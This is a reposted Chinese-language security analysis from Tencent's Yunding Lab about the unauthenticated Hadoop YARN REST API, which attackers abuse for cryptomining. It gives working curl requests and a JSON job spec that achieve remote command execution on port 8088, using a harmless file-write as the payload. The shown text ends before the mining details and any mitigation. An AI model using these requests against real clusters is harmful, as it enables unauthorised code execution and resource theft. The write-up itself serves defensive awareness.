最新消息:图 床

Hadoop Yarn REST API 未授權漏洞利用挖礦分析

COOL IAM 129浏览 0评论

作者:Fooying@雲鼎實驗室
公眾號:雲鼎實驗室

一、背景

5月5日騰訊雲安全團隊曾針對攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對服務器進行攻擊,攻擊者可以在未授權的情況下遠程執行代碼的安全問題進行預警,在預警的前後我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析並提供響應的安全建議和解決方案。

二、漏洞說明

Hadoop是一個由Apache基金會所開發的分佈式系統基礎架構,YARN是hadoop系統上的資源統一管理平台,其主要作用是實現集群資源的統一管理和調度,可以把MapReduce計算框架作為一個應用程序運行在YARN系統之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應用程序進行執行,其中就允許執行相關包含系統命令。

YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創建、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何黑客則就均可利用其進行遠程命令執行,從而進行挖礦等行為。

攻擊步驟:

1.申請新的application

直接通過curl進行POST請求

curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'

返回內容類似於:

{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}  

2.構造並提交任務

構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創建11112222_test_111122222文件,內容也為111:

{  
    "am-container-spec":{  
        "commands":{  
            "command":"echo '111' > /var/tmp/11112222_test_11112222"

        }  
    },  
    "application-id":"application_1527144634877_20465",  
    "application-name":"test",  
    "application-type":"YARN"  
}  

然後直接

curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻擊,命令被執行,在相應目錄下可以看到生成了對應文件

转载请注明:IAMCOOL » Hadoop Yarn REST API 未授權漏洞利用挖礦分析

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x